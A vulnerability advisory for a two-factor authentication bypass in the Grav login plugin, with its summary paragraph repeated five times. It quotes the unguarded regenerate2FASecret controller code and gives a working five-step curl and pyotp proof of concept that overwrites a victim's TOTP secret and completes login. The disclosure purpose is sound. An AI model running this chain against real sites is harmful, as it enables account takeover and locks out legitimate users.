CVE-2026-62232

Grav before 2.0.4 contains a two-factor authentication bypass vulnerability in the login plugin where the regenerate2FASecret task checks only user existence, not authorization, during the pending TOTP challenge window. Attackers who know the victim's password can call this task without a CSRF nonce to overwrite the 2FA secret with an attacker-chosen value, compute a valid TOTP code, and complete authentication while reducing 2FA to password-only protection.

Grav before 2.0.4 contains a two-factor authentication bypass vulnerability in the login plugin where the regenerate2FASecret task checks only user existence, not authorization, during the pending TOTP challenge window. Attackers who know the victim's password can call this task without a CSRF nonce to overwrite the 2FA secret with an attacker-chosen value, compute a valid TOTP code, and complete authentication while reducing 2FA to password-only protection.

Grav before 2.0.4 contains a two-factor authentication bypass vulnerability in the login plugin where the regenerate2FASecret task checks only user existence, not authorization, during the pending TOTP challenge window. Attackers who know the victim's password can call this task without a CSRF nonce to overwrite the 2FA secret with an attacker-chosen value, compute a valid TOTP code, and complete authentication while reducing 2FA to password-only protection.

Grav before 2.0.4 contains a two-factor authentication bypass vulnerability in the login plugin where the regenerate2FASecret task checks only user existence, not authorization, during the pending TOTP challenge window. Attackers who know the victim's password can call this task without a CSRF nonce to overwrite the 2FA secret with an attacker-chosen value, compute a valid TOTP code, and complete authentication while reducing 2FA to password-only protection.

Grav before 2.0.4 contains a two-factor authentication bypass vulnerability in the login plugin where the regenerate2FASecret task checks only user existence, not authorization, during the pending TOTP challenge window. Attackers who know the victim's password can call this task without a CSRF nonce to overwrite the 2FA secret with an attacker-chosen value, compute a valid TOTP code, and complete authentication while reducing 2FA to password-only protection.

Grav Login Plugin adds login, basic ACL, and session wide messages to Grav. Prior to 3.8.11, the Grav Login plugin login.regenerate2FASecret task checks only that the pending-session user exists rather than requiring $user->authorized. After submitting a victim's correct password, an attacker can invoke taskRegenerate2FASecret() during the pending TOTP challenge, overwrite twofa_secret, read the replacement secret from the response, calculate a valid code, and complete authentication without the victim's second factor. This issue is fixed in version 3.8.11.

Summary

When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the login.regenerate2FASecret task which requires only $user->exists(), not $user->authorized can be called without a CSRF nonce. It overwrites the victim's twofa_secret on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is reduced to password-only. The exploit was confirmed live after enabling 2FA to a user.

Details

Four code locations in login plugin v3.8.10 enable the chain:

1. Session user set even with 2FA pending
user/plugins/login/login.php - userLogin() assigns $session->user = $user before TOTP verification completes. This makes $this->grav['user'] point to the victim in the pending-challenge window.

2. taskRegenerate2FASecret - no authorization check
user/plugins/login/classes/Controller.php

public function taskRegenerate2FASecret()
{
    $user = $this->grav['user'];
    if ($user->exists()) {                  // ← only checks exists(), NOT authorized()
        $secret = $twoFa->createSecret();
        $user->twofa_secret = $secret;      // overwrites victim's secret on disk
        $user->save();
        $json_response = [
            'status' => 'success',
            'image' => $image,
            'secret' => trim(preg_replace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker
        ];
    }
}

3. No CSRF nonce required
user/plugins/login/login.php - the task dispatch switch only validates twofa_cancel for nonce. regenerate2FASecret is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session.

PoC

Confirmed live on this instance after enabling plugins.login.twofa_enabled: true and configuring TOTP on the user account.

# Step 1: Password-only login (lands in 2FA-pending; keep session cookie)
LOGIN_PAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login")
NONCE=$(echo "$LOGIN_PAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+')
curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \
  "http://127.0.0.1/grav/login" \
  -d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"

# Step 2: Regenerate the 2FA secret (NO nonce required)
curl -s -b /tmp/2fa.jar \
  "http://127.0.0.1/grav/login/task:login.regenerate2FASecret"
# {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}

# Step 3: Compute TOTP from the attacker-chosen secret
python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())"
# 152656

# Step 4: Complete 2FA with attacker's TOTP code
curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \
  -d "task=login.twofa&2fa_code=152656"

# Step 5: Verify - fully authenticated as victim
curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout'
# Grav User Logout

Impact

Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via $user->save(), locking them out of their own account.

The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting http://target/login/task:login.regenerate2FASecret on any attacker-controlled page would have their 2FA secret silently rotated.